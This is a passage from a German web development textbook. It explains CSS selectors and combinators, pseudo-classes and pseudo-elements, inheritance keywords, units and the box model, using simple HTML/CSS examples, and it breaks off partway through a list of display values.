                Natürlich kennen Sie zu diesem Zeitpunkt noch fast keine CSS-Befehle. Dennoch arbeite ich in den unten stehenden Beispielen mit Eigenschaften wie background-color (Hintergrundfarbe) oder color (Schriftfarbe). Lassen Sie sich davon nicht irritieren; ich nehme diese Eigenschaften hier vorweg.

            

            
                	
                    Selektor1 Selektor2 { … } (achten Sie bitte auf das Leerzeichen zwischen Selektor1 und Selektor2): Diese Regel tritt immer dann in Kraft, wenn Elemente, die durch den Selektor2 selektiert werden, in beliebiger Tiefe in ein Element verschachtelt sind, das durch Selektor1 selektiert wird:

                    <!DOCTYPE html>
<html lang="de">
<head>
<title>CSS-Selektionen</title>
<meta charset="utf-8">
<style>


                    div a {
  background-color:blue;
  color:white;
  padding:0.2em 0.5em;
  border-radius:0.2em;
}


                    </style>
</head>
<body>
<div>
  <a href="#">Link</a>
  <div>
    <p>Hier steht Text</p>
    <p>Hier ein Link: <a href="#">Linktext</a></p>
    <a href="#">noch ein Link</a>
  </div>
  <a href="#">Link</a>
  <p>Hier noch etwas Text, der auf eine <a href="#">Website</a> verweist.
</p>
  <a href="#">Link</a>
</div>
</body>
</html>


                    Sowohl der Link innerhalb des p als auch der Link direkt innerhalb des div sind von der Regel betroffen, da diese eben besagt »... in beliebiger Verschachtelungstiefe« (siehe Abbildung 6.7).

                    
                        [image: Die Selektion wählt sämtliche Anker a aus, die sich in beliebiger Verschachtelungstiefe in einem div befinden.]

                        Abbildung 6.7    
            Die Selektion wählt sämtliche Anker a aus, die sich in beliebiger Verschachtelungstiefe in einem div befinden.

                    
                

            

            
                	
                    Selektor1 > Selektor2 { … }: Diese Regel tritt in Kraft, sofern die Elemente, die durch Selektor2 selektiert werden, direkte Kinder eines Elements sind, das durch Selektor1 selektiert wird.

                    <style>


                    div > a {
  background-color:green;
  ...
}


                    </style>
...
<div>
  <a href="#">Link</a>
  <div>
    <p>Hier steht Text</p>
    <p>Hier ein Link: <a href="#">Linktext</a></p>
    <a href="#">noch ein Link</a>
  </div>
  <a href="#">Link</a>
  <p>Hier noch etwas Text, der auf eine <a href="#">Website</a> verweist. 
</p>
  <a href="#">Link</a>
</div>


                    In diesem Fall ist nur noch ein Anker a, der sich direkt innerhalb des div befindet, von der Regel betroffen. (Er ist ein »direktes Kind« des div, also kein Enkel- oder Urenkelkind o. Ä.) Deshalb sind die Anker innerhalb der Absätze von der Regel unbeeinflusst (siehe Abbildung 6.8).

                    
                        [image: Nun sind nur noch die direkten Kind-Anker eines div von der Selektion betroffen.]

                        Abbildung 6.8    
            Nun sind nur noch die direkten Kind-Anker eines div von der Selektion betroffen.

                    
                

            

            
                	
                    Selektor1 + Selektor2 { … }: Diese Regel gilt für direkt aufeinanderfolgende Geschwisterelemente, also solche Elemente, die ein gemeinsames Elternelement besitzen und direkt aufeinanderfolgen. Formatiert werden somit alle Elemente, die durch Selektor2 selektiert werden und ein direkt vorangegangenes Geschwisterelement besitzen, das durch Selektor1 selektiert wird.

                    <style>


                    div + a {
  background-color:magenta;
  ...
}


                    </style>
...
<div>
  <a href="#">Link</a>
  <div>
    <p>Hier steht Text</p>
    <p>Hier ein Link: <a href="#">Linktext</a></p>
    <a href="#">noch ein Link</a>
  </div>
  <a href="#">Link</a>
  <p>Hier noch etwas Text, der auf eine <a href="#">Website</a> verweist. 
</p>
  <a href="#">Link</a>
</div>


                    Bitte beachten Sie an dieser Stelle, dass der erste Anker im div nicht von dieser Regel betroffen ist, da er kein vorangegangenes Geschwisterelement div hat (sondern nur folgende). Auch der letzte Anker ist von der Regel nicht betroffen, wie Sie in Abbildung 6.9 sehen.

                    
                        [image: Das Beispiel beinhaltet nur ein folgendes Geschwister-Ankerelement zu einem »div«.]

                        Abbildung 6.9    
            Das Beispiel beinhaltet nur ein folgendes Geschwister-Ankerelement zu einem »div«.

                    
                

            

            
                	
                    Selektor1 ~ Selektor2 { ... }: Diese Regel ähnelt der vorherigen Regel, nur dass hierbei alle Elemente, selektiert durch Selektor2, formatiert werden, die ein (nicht notwendigerweise direkt) vorangegangenes Geschwisterelement besitzen, das durch Selektor1 ausgewählt wurde.

                    <style>


                    div ~ a {
  background-color:darkgrey;
  ...
}


                    </style>
...
<div>
  <a href="#">Link</a>
  <div>
    <p>Hier steht Text</p>
    <p>Hier ein Link: <a href="#">Linktext</a></p>
    <a href="#">noch ein Link</a>
  </div>
  <a href="#">Link</a>
  <p>Hier noch etwas Text, der auf eine <a href="#">Website</a> verweist. 
</p>
  <a href="#">Link</a>
</div>


                    
                        [image: Wenn alle folgenden Geschwister-Ankerelemente zu einem »div« ausgewählt werden, ergibt das ein ausgewähltes Ankerelement mehr.]

                        Abbildung 6.10    
            Wenn alle folgenden Geschwister-Ankerelemente zu einem »div« ausgewählt werden, ergibt das ein ausgewähltes Ankerelement mehr.

                    
                

            

        
        
            6.5.4    Pseudoklassen und Pseudoelemente für weitere Auswahlkriterien

            Noch vor einigen Jahren hat man nicht zwischen Pseudoklassen und Pseudoelementen unterschieden. Mittlerweile – nachdem die Möglichkeiten mehr und mehr wurden – hat das W3-Konsortium eine Unterscheidung eingeführt. Eine sehr einfache, erste Erklärung ist die folgende:

            
                	
                    Pseudoklassen beschreiben eine Art Zustand von (HTML-)Elementen, also beispielsweise die Formatierung von Elementen, wenn der User mit seinem Zeigegerät (typischerweise der Maus) über sie fährt. Ein anderes Beispiel wäre etwa, »jedes zweite Element aus einer Liste von Elementen« zu selektieren. Die Selektion einer Pseudoklasse erfolgt über den Doppelpunkt »:«.

                

                	
                    Pseudoelemente wiederum beziehen sich auf den Inhalt (Textknoten etc.) von Elementen, also auf etwas, das man im Rahmen von CSS nicht selektieren kann. Ein Beispiel wäre etwa das Hinzufügen von Content vor oder nach einem Elementknoten oder das Selektieren von Buchstaben und Wörtern/Sätzen. Die Selektion eines Pseudoelements erfolgt über den doppelten Doppelpunkt ::.

                

            

            Wie ich bereits erwähnt habe, wurde früher nicht zwischen den beiden Formen unterschieden, weshalb Sie auch heute noch in Code Pseudoelemente sehen werden, die mit einem einzelnen Doppelpunkt angegeben wurden; die Browserhersteller sind angehalten, beides zu unterstützen.

            
                Typische Vertreter von Pseudoklassen

                
                    	
                        Für Anker/Links:

                        
                            	
                                :link: unbesuchte Links

                            

                            	
                                :visited: besuchte Links

                            

                            	
                                :active: gerade aktive Link-Liste

                            

                        

                    

                    	
                        :hover: Element, über dem das Zeigegerät (typischerweise die Maus) gerade steht

                    

                    	
                        :focus: Element, das gerade den Fokus besitzt (wird gerne bei Eingabeelementen eingesetzt)

                    

                    	
                        :first-child, :last-child: erstes oder letztes Kind eines Elements; z. B. selektiert p:first-child jedes p, das das erste Kind eines übergeordneten Elements ist.

                    

                    	
                        :nth-child(n), :nth-last-child(n): das n-te oder n-t-letzte Kind eines Elements (Beachten Sie auch die Erklärung von n etwas weiter unten.)

                    

                    	
                        :first-of-type, :last-of-type, :nth-of-type(n), :nth-last-of-type(n): erstes, letztes, n-tes bzw. n-t-letztes Element eines bestimmten Typs

                    

                    	
                        :not(SELEKTOR): all diejenigen Elemente, die nicht dem angegebenen Selektor entsprechen

                    

                    	
                        :where(SELEKTOR), :is(SELEKTOR): Selektiert sämtliche Elemente, die durch die angegebenen Selektoren selektiert werden würden.

                    

                

                Diese Pseudoklasse eignet sich sehr gut, um verschachtelte Elemente zu selektieren. Beispielsweise würde die Angabe

                ul.abc :where(ol, ul) { ... }

                sämtliche ungeordneten und geordneten Listen selektieren, die sich in beliebiger Verschachtelungstiefe in einer ungeordneten Liste mit zugewiesener Klasse abc befinden. Hätte man die where-Pseudoklasse nicht zur Verfügung, so hätte man die Selektion wie folgt schreiben müssen:

                ul ol, ul ul { ... }

                Noch deutlicher wird das, wenn man mehrere where-Pseudoklassen verwendet:

                :where(ul.abc, ol.cde) :where(ul, ol) { ... }

                selektiert alle ul und ol, die sich entweder in einer ul oder ol mit jeweils zugewiesener Klasse (abc bzw. cde respektive) befinden. Für diese Anwendung hätte man alternativ folgende Regel schreiben müssen:

                ul.abc ul,
ul.abc ol,
ol.cde ul,
ol.cde ol {
  ...
}


                Die is-Pseudoklasse ist identisch mit der where-Pseudoklasse. Beachten Sie jedoch, dass die where-Pseudoklasse keine Spezifität (bzw. die Spezifität 0) aufweist, wohingegen die is-Pseudoklasse die höchste verwendete Spezifität verwendet:

                :where(ul.abc, ol.cde) :where(ul, ol) → Spezifität 0000

                :is(ul.abc, ol.cde) :is(ul, ol) → Spezifität 0011

                
                    	
                        :root: Root-Element des Dokuments

                    

                    	
                        für Formulare (Auswahl):

                        
                            	
                                :valid, :invalid: alle korrekt bzw. falsch ausgefüllten Eingabeelemente (also all diejenigen, bei denen der eingegebene Wert nicht zum Typ des Elements passt)

                            

                            	
                                :checked: alle ausgewählten Checkboxen oder Radio-Buttons

                            

                            	
                                :optional, :required: alle optionalen Felder bzw. Pflichtfelder

                            

                        

                    

                

            
            
                Typische Vertreter von Pseudoelementen

                
                    	
                        ::first-line, ::first-letter: die erste Zeile bzw. der erste Buchstabe eines Textknotens

                    

                    	
                        ::before, ::after: Content vor oder nach einem Element einfügen

                    

                

                Eine vollständige Übersicht über alle Pseudoklassen und -elemente finden Sie etwa unter https://developer.mozilla.org/en-US/docs/Web/CSS → Pseudo-classes. Dort werden Sie auch auf viele Pseudoklassen und -elemente stoßen, die aktuell noch nicht verwendbar sind (wie etwa :future). Achten Sie deshalb immer genau darauf, wie gut die Pseudoklassen und -elemente von den gängigen Browsern unterstützt werden! Die Antwort darauf finden Sie entweder auf der Developer-Site von Mozilla selbst (siehe Abbildung 6.11) oder unter www.caniuse.com (siehe Abbildung 6.12).

                
                    [image: Mozilla sagt, dass die »future«-Pseudoklasse noch nicht verwendbar ist, da sie bis dato nur von Safari unterstützt wird.]

                    Abbildung 6.11    
            Mozilla sagt, dass die »future«-Pseudoklasse noch nicht verwendbar ist, da sie bis dato nur von Safari unterstützt wird.

                
                
                    [image: Die Website »caniuse.com« behauptet dasselbe wie die Developer-Site von Mozilla.]

                    Abbildung 6.12    
            Die Website »caniuse.com« behauptet dasselbe wie die Developer-Site von Mozilla.

                
            
        
    


                    
                        
        6.6    Die Vererbung – mehr Pro als Kontra

        Die Vererbung ist eine sehr feine Sache – so viel gleich einmal vorweg. Sie bestimmt, welche Eigenschaften eines Elternelements an seine Kindelemente vererbt werden. Wesentlich hierbei ist die Erkenntnis, dass nicht alle, sondern nur ausgewählte Eigenschaften betroffen sind. Hierzu ein Beispiel: Nehmen wir an, für die gesamte Webseite soll die Schriftfarbe festgelegt werden. Auch noch ohne Kenntnis, wie dies vonstatten gehen kann, ist ein solcher Code mit etwas Erklärung leicht zu verstehen:

        body {
  color: grey;
  font-family: "Open Sans", Verdana, Arial, sans-serif;
}


        Im obigen Beispiel wird die Schriftfarbe für den gesamten Body-Bereich der Webseite mit Grau festgelegt. Natürlich möchte man nun, dass auch sämtliche im Body befindlichen Elemente diese Schriftfarbe übernehmen: Sämtliche Absätze, Listen, Tabellen usw. sollen in Grau dargestellt werden. Dies ist jedoch nicht selbstverständlich. Wenn Sie einen weiteren Blick auf die obige Regel werfen, so steht dort klar und deutlich, dass die verwendete color für den body gilt – ausschließlich dieses Element ist in der obigen Regel erwähnt. Selbiges gilt für die verwendete Schriftfamilie. Das Ergebnis in Abbildung 6.13 hinterlässt dennoch ein wenig Kopfzerbrechen – sehen Sie selbst:

        
            [image: Sehen Sie’s auch? Was ist mit der Textarea und dem Button? Erben die nicht die Schriftfarbe und -familie?]

            Abbildung 6.13    
            Sehen Sie’s auch? Was ist mit der Textarea und dem Button? Erben die nicht die Schriftfarbe und -familie?

        
        Offensichtlich erben manche Elemente die eingestellten Werte dann doch nicht: Die Textarea verwendet eine Monospace-Schrift, der Button eine (andere als die vorgegebene) Serifenschrift, und beide verwenden die Schriftfarbe Schwarz. Das Nichteinhalten der gesetzten Regeln liegt an der Vorgabe der Elemente selbst und trifft vorrangig auf Formularelemente zu, da es sich hierbei zumeist um Elemente handelt, die sich in Form und Aussehen am verwendeten Betriebssystem orientieren. Dennoch kann man sie dazu zwingen bzw. ihr Verhalten ändern, indem man gewisse Schlüsselwörter benutzt, die sich auf die Vererbung beziehen:

        
            	
                inherit: Dieser Wert gibt an, dass der aktuell vom übergeordneten Element verwendete (berechnete) Wert angenommen werden soll.

            

            	
                initial: Mithilfe dieser Angabe wird eine Eigenschaft auf ihren Standard- oder Initialwert zurückgesetzt. Diese Angabe ist immer dann interessant, wenn der initiale Wert überschrieben wurde, dieser jedoch nicht bekannt ist. Jedoch ist diese Angabe auch mit bösen Überraschungen verbunden, da es zu unbeabsichtigten Werten kommen kann. Aus diesem Grund sollten Sie eher den Wert unset verwenden, um (überschriebene) Werte zurückzusetzen.

            

            	
                unset: Ein Unset bedeutet, dass der Browser zunächst versucht, die Eigenschaft auf denjenigen Wert zurückzusetzen, den das Element auf natürliche Art erben würde, was somit dem Wert inherit entspricht. Klappt dies nicht (weil es beispielsweise keinen solchen Wert gibt; der Rahmen rund um Elemente ist beispielsweise eine solche nicht erbbare Eigenschaft), so greift der Browser auf initial zurück.

            

            	
                revert: Mithilfe dieser Angabe wird eine Eigenschaft auf denjenigen Wert zurückgesetzt, den sie hätte, gäbe es das Autorenstylesheet (mit oder ohne Angabe von !important) nicht. Mit anderen Worten, die Eigenschaft wird auf den Wert gesetzt, der entweder vom User- oder vom Browser-Stylesheet vorgegeben wird.

            

        

        Mit revert-layer existiert ein weiterer Wert, der sich jedoch aktuell (Frühjahr 2024) in einem Experimentalstadium befindet und nur von Mozilla Firefox unterstützt wird.

        Dennoch ist das obig erlangte Wissen ausreichend, um unser Beispiel zu korrigieren, indem folgende Änderungen vorgenommen werden:

        textarea, button, input {
  color: inherit;
  font-family: inherit;
}


        Das Ergebnis lässt sich sehen (siehe Abbildung 6.14).

        
            [image: Und zack: Die gewünschten Eigenschaften wurden vererbt, und alles ist im Fluss.]

            Abbildung 6.14    
            Und zack: Die gewünschten Eigenschaften wurden vererbt, und alles ist im Fluss.

        
        Eine (niemals vollständige) Liste derjenigen Eigenschaften, die an die Kindelemente vererbt werden, finden Sie in Tabelle 6.3. Leider existiert vonseiten des W3C keine explizite Auflistung der vererbbaren Eigenschaften, weshalb Sie die folgende Angabe als »zu 99 % gesichert« ansehen sollten. Auch wenn Ihnen die Namen der Eigenschaften noch nicht viel sagen, so stellt dieses Kapitel zumindest einen Nachschlageort dar, den Sie bei Ihrer weiteren Arbeit wohl noch des Öfteren aufsuchen werden.

        
            
                
                    	
                        border-collapse

                    
                    	
                        font-stretch

                    
                    	
                        text-decoration-color

                    
                

                
                    	
                        border-spacing

                    
                    	
                        font

                    
                    	
                        text-indent

                    
                

                
                    	
                        caption-side

                    
                    	
                        letter-spacing

                    
                    	
                        text-justify

                    
                

                
                    	
                        color

                    
                    	
                        line-height

                    
                    	
                        text-shadow

                    
                

                
                    	
                        cursor

                    
                    	
                        list-style-image

                    
                    	
                        text-transform

                    
                

                
                    	
                        direction

                    
                    	
                        list-style-position

                    
                    	
                        visibility

                    
                

                
                    	
                        empty-cells

                    
                    	
                        list-style-type

                    
                    	
                        white-space

                    
                

                
                    	
                        font-family

                    
                    	
                        list-style

                    
                    	
                        widows

                    
                

                
                    	
                        font-size

                    
                    	
                        orphans

                    
                    	
                        word-break

                    
                

                
                    	
                        font-style

                    
                    	
                        quotes

                    
                    	
                        word-spacing

                    
                

                
                    	
                        font-variant

                    
                    	
                        tab-size

                    
                    	
                        word-wrap

                    
                

                
                    	
                        font-weight

                    
                    	
                        text-align

                    
                    	
                

                
                    	
                        font-size-adjust

                    
                    	
                        text-align-last

                    
                    	
                

            
        

        Tabelle 6.3    
            Vererbbare Eigenschaften (eine Auswahl)

    


                    
                        
        6.7    Einheiten in CSS – nicht alles ist relativ

        Wir unterscheiden zunächst zwischen absoluten und relativen Einheiten (siehe Tabelle 6.4).

        
            
                
                    	
                        Absolute Einheiten

                    
                    	
                        Relative Einheiten

                    
                

                
                    	
                        Name

                    
                    	
                        Einheit

                    
                    	
                        Erklärung

                    
                    	
                        Name

                    
                    	
                        Einheit

                    
                    	
                        Erklärung

                    
                

            
            
                
                    	
                        Pixel

                    
                    	
                        px

                    
                    	
                        Die Größe eines Pixels auf dem Monitor des Users

                    
                    	
                        Prozent

                    
                    	
                        %

                    
                    	
                        relativ zum übergeordneten Element

                    
                

                
                    	
                        Millimeter

                    
                    	
                        mm

                    
                    	
                    	
                        Schrift-größe

                    
                    	
                        em

                    
                    	
                        Entspricht der vom User gewählten Schriftgröße, was in der Normaldarstellung 16px sind; wird auch relativ zum übergeordneten Element gerechnet.

                    
                

                
                    	
                        Zentimeter

                    
                    	
                        cm

                    
                    	
                    	
                    	
                        rem

                    
                    	
                        wie em, jedoch relativ zum Root-Element (<html>)

                    
                

                
                    	
                        Quarter-Millimeter

                    
                    	
                        Q

                    
                    	
                        Entspricht 1/40 eines Zentimeters.

                    
                    	
                        x-Höhe

                    
                    	
                        ex

                    
                    	
                        Entspricht der Höhe eines Kleinbuchstabens.

                    
                

                
                    	
                        Zoll (Inch)

                    
                    	
                        in

                    
                    	
                        Entspricht 2,54 cm.

                    
                    	
                        Viewport-Breite

                    
                    	
                        vw

                    
                    	
                        1/100 der Breite des Viewports des User-Browsers

                    
                

                
                    	
                        Punkt

                    
                    	
                        pt

                    
                    	
                        Entspricht 1/72 von einem Zoll (Inch).

                    
                    	
                        Viewport-Höhe

                    
                    	
                        vh

                    
                    	
                        1/100 der Höhe des Viewports

                    
                

                
                    	
                        Pica

                    
                    	
                        pc

                    
                    	
                        Entspricht 12 Punkten (12 pt).

                    
                    	
                        kleinere Seite des Viewports

                    
                    	
                        vmin

                    
                    	
                        1/100 der kleineren Seite des Viewports

                    
                

                
                    	
                    	
                    	
                    	
                        größere Seite des Viewports

                    
                    	
                        vmax

                    
                    	
                        1/100 der größeren Seite des Viewports

                    
                

                
                    	
                    	
                    	
                    	
                        Fraction

                    
                    	
                        fr

                    
                    	
                        verbleibender Platz in einem CSS-Grid

                    
                

                
                    	
                    	
                    	
                    	
                        Character

                    
                    	
                        ch

                    
                    	
                        relativ zur Breite der Ziffer 0

                    
                

                
                    	
                    	
                    	
                    	
                        Zeilenhöhe

                    
                    	
                        lh, rlh

                    
                    	
                        Entspricht der Zeilenhöhe eines Elements bzw. des Root-Elements.

                    
                

                
                    	
                    	
                    	
                    	
                        Block- bzw. Inline-Höhe

                    
                    	
                        vb, vi

                    
                    	
                        1/100 der Höhe der Block- bzw. Inline-Achse des umgebenden Elements

                    
                

            
        

        Tabelle 6.4    
            Absolute und relative Einheiten

        Weitere Angaben beziehen sich auf die Viewport-Größe unterschiedlicher Ausgabesysteme (small, large, dynamic und default; Quelle: https://developer.mozilla.org/en-US/docs/Web/CSS/length#relative_length_units_based_on_viewport):

        
            	
                svw, svh: 1/100 der Breite bzw. Höhe des kleinstmöglichen Viewports eines Browsers

            

            	
                lvw, lvh: 1/100 der Breite bzw. Höhe des größtmöglichen Viewports eines Browsers

            

            	
                dvw, dvh: 1/100 der Breite bzw. Höhe des dynamischen Viewports eines Browsers

            

        

        Bitte beachten Sie, dass das Komma in CSS immer ein Punkt ist: Richtig ist 1.5em, falsch wäre 1,5em.

        Grundsätzlich sollten Sie versuchen, ausschließlich relative Einheiten einzusetzen. Da Websites auf unterschiedlichsten Ausgabegeräten dargestellt werden sollen (die wiederum unterschiedliche Bildschirmauflösungen aufweisen) und da auch die vom User gewählte Größe des Browserfensters variabel ist, muss sich eine Website an ihre Umgebung anpassen können.

        Ein weiterer Grund für relative Größenangaben ist jedoch wesentlich wichtiger, denn er betrifft die Bedürfnisse der User hinsichtlich der Darstellung von Schriftgrößen (und in weiterer Folge gegebenenfalls auch Farben, Kontraste etc.): Gehen Sie immer davon aus, dass gewisse User über eine eingeschränkte Sehfähigkeit verfügen, weshalb diese User in ihren Systemen normalerweise die eingesetzte Schriftgröße erhöhen (etwa von 16px auf 32px). Diese Einstellung sollte nun natürlich auch in den Websites zum Einsatz kommen, weshalb Schriftgrößen relativ dazu gerechnet werden sollen. Dem tragen Sie dadurch Rechnung, dass Sie im Falle von Schriften die Einheit em einsetzen.

        Spinnt man diese Überlegung jedoch etwas weiter, so erkennen Sie rasch, dass sich neben der Schriftgröße auch ein jedes weitere Element proportional zur Schriftgröße vergrößern muss: Es würde beispielsweise wenig Sinn machen, die Schriftgröße eines Buttons zu verdoppeln, die Button-Größe selbst jedoch nicht. Deshalb sollten Sie versuchen, eine jede (pixelbasierte) Angabe durch em zu ersetzen, was im Wesentlichen sehr simpel ist: Sie müssen lediglich die ursprüngliche Pixelangabe durch 16 dividieren (ein em entspricht ja im Normalfall 16px). Sollte der User seine Schriftgröße im System erhöhen, so entspricht ein em danach beispielsweise 32px und die Elemente vergrößern sich automatisch proportional zur Schriftgröße.

    


                    
                        
        6.8    Sind ja alles nur Boxen – das Box-Modell

        Wir unterscheiden (schon aus HTML heraus) zwei Arten von Elementen:

        
            	
                blockartige Elemente

            

            	
                inline-artige Elemente

            

        

        Für jede Art von Element existiert ein sogenanntes Box-Modell, das beschreibt, wie ein solches Element mitsamt seinen Abständen entsteht.

        
            6.8.1    Das Box-Modell für Block-Elemente

            Jeder Box kann zunächst eine Breite und eine Höhe zugewiesen werden. Die so entstandene Fläche ist der Platz, der dem Inhalt dieser Box zur Verfügung steht (siehe Abbildung 6.15).

            
                [image: Die Eigenschaften einer Box]

                Abbildung 6.15    
            Die Eigenschaften einer Box

            
            
                	
                    width: Sie stellt die Breite einer Box dar, die in jeder bekannten Größeneinheit angegeben werden kann; bevorzugt erfolgt dies jedoch in einer zur Schriftgröße relativen Einheit wie em oder rem.

                

                	
                    height: Diese Angabe stellt die Höhe der Box dar; die Angaben zur Größe gelten entsprechend wie für die width.

                

                	
                    padding: Der Padding stellt den Innenabstand dar, also denjenigen Abstand zwischen dem Inhaltsbereich (Content Box, definiert durch Breite und Höhe) und dem Rahmen. Der Padding kann pro Seite angegeben werden:

                    
                        	
                            padding-left

                        

                        	
                            padding-right

                        

                        	
                            padding-top

                        

                        	
                            padding-bottom

                        

                    

                

                	
                    border: Dieser stellt den Rahmen (Border Box) rund um den Innenabstand der Box dar. Man unterscheidet zwischen Rahmenstärke, Rahmenart und Rahmenfarbe:

                    border:Rahmenstärke Rahmenart Rahmenfarbe; 


                    Jede Seite des Rahmens kann auch noch individuell gestaltet werden.

                

                	
                    margin: Der Margin stellt den Außenabstand dar, also denjenigen Abstand zu den umliegenden Elementen. Ebenso wie der Padding kann der Margin pro Seite angegeben werden:

                    
                        	
                            margin-left

                        

                        	
                            margin-right

                        

                        	
                            margin-top

                        

                        	
                            margin-bottom

                        

                    

                

            

            Für sowohl margin als auch padding existieren abgekürzte Schreibweisen. Unten sehen Sie die Angabe für padding, wobei die Angabe für margin synonym verwendet wird. Achten Sie darauf, wie die Menge Ihrer Angaben das Aussehen des Abstands beeinflusst:

            
                	
                    padding:1em; → gleicher Abstand für links, rechts, oben und unten

                

                	
                    padding:0.5em 1em 1.5em 2em; → Abstand für oben, rechts, unten und links (in dieser Reihenfolge: Uhrzeigersinn)

                

                	
                    padding:0.5em 1em; → Abstand für oben/unten sowie links/rechts

                

                	
                    padding:0.5em 1em 2em → Abstand für oben (0.5em), links/rechts (1em) und unten (2em)

                

            

            
                Ein paar Worte zum Rahmen

                
                    	
                        Rahmenstärke: Diese wird für dünne Rahmen typischerweise in Pixel angegeben, für dickere Rahmen in Schriftgrößeneinheiten (em; siehe hierzu die Ausführungen in Abschnitt 6.7 zu den Einheiten in CSS).

                    

                    	
                        Rahmenart:

                        
                            	
                                solid: durchgezogen

                            

                            	
                                dotted: gepunktet

                            

                            	
                                dashed: strichliert

                            

                        

                        Eine vollständigere Auflistung sämtlicher Möglichkeiten finden Sie wie gewohnt auf der Developer-Site von Mozilla (https://developer.mozilla.org/en-US/docs/Web/CSS/border?retiredLocale=de).

                    

                

                
                    	
                        Rahmenfarbe: Zu den Farbdefinitionen kommen wir in Abschnitt 6.9.

                    

                

                Die Angabe der einzelnen Teile des Rahmens kann ebenfalls individuell erfolgen. Hierzu ein paar Beispiele:

                
                    	
                        border:3px solid green; ergibt einen drei Pixel breiten, durchgezogenen Rahmen in Grün auf allen vier Seiten.

                    

                    	
                        border-left:3px solid green; wie oben, jedoch nur für den linken Rand.

                    

                    	
                        border-right-color:green; definiert die Farbe des rechten Randes (hier: Grün).

                    

                

                
                    [»]   Collapsing Margins

                    Haben zwei Block-Elemente vertikal zusammenfallende Außenabstände (das obere Element besitzt ein margin-bottom, das untere ein margin-top), so werden die beiden Abstände nicht addiert, sondern es wird nur der größere der beiden verwendet.

                    Mit anderen Worten, ein margin-bottom:50px; und ein margin-top:30px; ergeben einen Abstand zwischen den beiden Elementen von 50px, da die 30px des folgenden Elements in den 50px des vorangegangenen Elements bereits enthalten sind.

                

                Bei der Angabe der Höhe einer Box läuft man eventuell Gefahr, dass der enthaltene Content nicht ausreichend Platz vorfindet (also gegebenenfalls übersteht oder darüber hinaussteht). Wie in einer solchen Situation zu verfahren ist, legt die overflow-Eigenschaft fest:

                
                    	
                        overflow:visible;: Der Inhalt der Box wird über die Box hinaus dargestellt, die Box wird jedoch daduch nicht größer.

                    

                    	
                        overflow:hidden;: Der Inhalt der Box wird dort abgeschnitten, wo die Box zu Ende ist.

                    

                    	
                        overflow:auto;: Es wird ein Scrollbar innerhalb der Box eingeblendet, sollte der Inhalt der Box größer als die Box selbst sein.

                    

                    	
                        overflow:scroll;: Es wird unabhängig vom Inhalt und der Boxgröße ein (horizontaler und vertikaler) Scrollbar eingeblendet, der gegebenenfalls dann auch ohne Funktion ist.

                    

                

                Die overflow-Eigenschaft kann sowohl horizontal (overflow-x) als auch vertikal (overflow-y) definiert werden; die Eigenschaft overflow gilt sowohl horizontal als auch vertikal.

                
                    [»]  Scrollbars?

                    Bitte beachten Sie, dass moderne Betriebssysteme und deren Browser den Scrollbar nur noch bei Bedarf einblenden und dieser somit gar nicht in Erscheinung tritt (was insbesondere im Fall von overflow:auto; und overflow:scroll; verwirrend ist; siehe Abbildung 6.16).

                    
                        [image: Darstellung der unterschiedlichen Overflow-Arten. Beachten Sie die Darstellung der Scrollbars.]

                        Abbildung 6.16    
            Darstellung der unterschiedlichen Overflow-Arten. Beachten Sie die Darstellung der Scrollbars.

                    
                

            
            
                Content Box

                Dieses Box-Modell trägt den Namen Content Box, und zwar deshalb, weil jegliche Größenangabe für padding und border den Platzbedarf für die Box größer macht. Der Platz für den Inhalt bleibt gleich groß, padding und border erhöhen jedoch den Platzbedarf, da die Werte zu Breite und Höhe hinzuaddiert werden. In CSS müssen wir hierfür nichts Besonderes festlegen, da die Content Box das Standardmodell einer Box ist, wie Abbildung 6.17 zeigt.

                Der CSS-Code, um dezidiert eine Content Box zu erzeugen, lautet:

                p {
  box-sizing:content-box;
}


                
                    [image: Das Content-Box-Modell berücksichtigt Breiten- und Höhenangaben für die Content Box.]

                    Abbildung 6.17    
            Das Content-Box-Modell berücksichtigt Breiten- und Höhenangaben für die Content Box.

                
            
            
                Border Box

                Anders als bei der Content Box werden die Breiten- und die Höhenangabe bei der Border Box nicht dem Inhalt (Content) zur Verfügung gestellt, sondern sie beziehen sich auf die Größe der gesamten Box inklusive Rahmen und Innenabstand. Angegeben wird dies durch:

                p {
  box-sizing:border-box;
}


                Der Außenabstand wird in beiden Fällen (Border Box und Content Box) nach außen hinzugerechnet, da er nicht Teil der Box ist.

                
                    [image: Das Border-Box-Modell berücksichtigt Breiten- und Höhenangaben für die Border Box.]

                    Abbildung 6.18    
            Das Border-Box-Modell berücksichtigt Breiten- und Höhenangaben für die Border Box.

                
            
        
        
            6.8.2    Das Box-Modell für Inline-Elemente

            Inline-Elemente sind Elemente, die im Textfluss eines Block-Elements mitschwimmen, sich demnach auf einer gedachten Zeile (Line) eines Block-Elements befinden.

            Folgende Angaben sind im Fall von Inline-Elementen möglich bzw. nicht möglich:

            
                	
                    width, height: Kann nicht angegeben werden, da sich die Höhe aus der Höhe der Zeile ergibt und die Breite entsprechend des Platzbedarfes berechnet wird.

                

                	
                    padding: Kann auf allen vier Seiten angegeben werden.

                

                	
                    border: Kann auch auf allen vier Seiten angegeben werden.

                

                	
                    margin: Kann nur links und rechts angegeben werden.

                

            

        
        
            6.8.3    Wir haben es in der Hand: Die Darstellung von Boxen steuern

            Die Eigenschaft display steuert die CSS-Darstellung von Boxen. Neben den (alten) HTML-Darstellungsmöglichkeiten für block- und inline-artige Elemente existiert eine Reihe weiterer Darstellungsmöglichkeiten (bedenken Sie an dieser Stelle beispielsweise, dass die Darstellungsformen für Listen und Tabellen mit der Unterscheidung von block und inline sicherlich nicht abgedeckt sind):

            
                	
                    Block-Element (blockartige Darstellung): display:block; bzw. display:block flow;

                

                	
                    Inline-Element (inline-artige Darstellung): display:inline; bzw. display:inline flow;

                

            

            Dass weitere Darstellungsformen existieren, wird zunächst an der Darstellungsform inline-block ersichtlich: Sie stellt eine Mischung zwischen Inline- und Block-Element dar:

            display:inline-block;

            
                	
                    Sämtliche Angaben von block sind erlaubt (auch Breite, Höhe, Abstand oben/unten), aber die Elemente stehen in einer Zeile (also nebeneinander).

                

            

            
                [»]  Box = Container = Element

                Sie wissen schon: Box = Container = HTML-Element = … Es gibt viele Namen für ein und dasselbe.

            

            Um Elemente auszublenden, sodass sie auch keinen Platzbedarf im Browser haben, nutzen Sie display:none;. Die folgende Liste zeigt die Vielfalt an Möglichkeiten auf:

            
                	
                    display: contents;

                

                	
                    display: list-item;: Darstellen als Listenpunkt (<li>)

                

                	
                    display: inline-table; bzw. display:inline table;

                

                	
                    display: table;: Darstellen als Tabelle (<table>)

                

                	
